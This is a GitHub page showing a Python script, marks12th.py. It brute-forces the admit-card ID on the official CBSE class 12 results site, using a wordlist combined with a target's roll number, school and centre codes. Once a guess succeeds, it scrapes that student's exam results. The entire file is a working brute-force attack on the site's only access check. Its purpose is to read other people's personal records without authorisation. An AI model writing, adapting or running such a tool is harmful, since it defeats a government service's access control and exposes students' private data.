-
Notifications
You must be signed in to change notification settings - Fork 1
/
Copy pathmarks12th.py
60 lines (49 loc) · 1.54 KB
/
marks12th.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
#!/usr/bin/python
# -*- coding: utf-8 -*-
import requests
import sys
from bs4 import BeautifulSoup
import json
url = 'http://cbseresults.nic.in/class12/class12th20.asp'
headers = {'Host': 'cbseresults.nic.in',
'Referer': 'http://cbseresults.nic.in/class12/Class12th20.htm',
'Content-Type': 'application/x-www-form-urlencoded'}
expression = 'ENGLISH' # This should be any subject that you have eg. ENGLISH as shown on CBSE website
sch = '25193' # CHANGE HERE
cno = '2556' # CHANGE HERE
def brute(admid, regno):
data = {
'regno': regno,
'sch': sch,
'cno': cno,
'admid': admid,
'B2': 'Submit',
}
r = requests.post(url, headers=headers, data=data)
if expression in r.text:
return r.text
def user(regno):
words = [w.strip() for w in open('wl.txt', 'rb').readlines()]
for word in words:
word = word.decode('utf-8')
admid = word + regno[5] + regno[6] + cno
print(admid)
content = brute(admid, regno)
if content:
break
return content
def main():
print('Starting')
roll = str(sys.argv[1]).strip()
print(roll)
c = user(roll)
if c:
soup = BeautifulSoup(c, 'html.parser')
text = soup.get_text()
text = text[text.find('Roll No:'
):text.find('Check Another Result')]
print(text.rstrip('\n').replace(' ', ''))
else:
print('Could not find score(An error may have occurred, Please try again)')
if __name__ == '__main__':
main()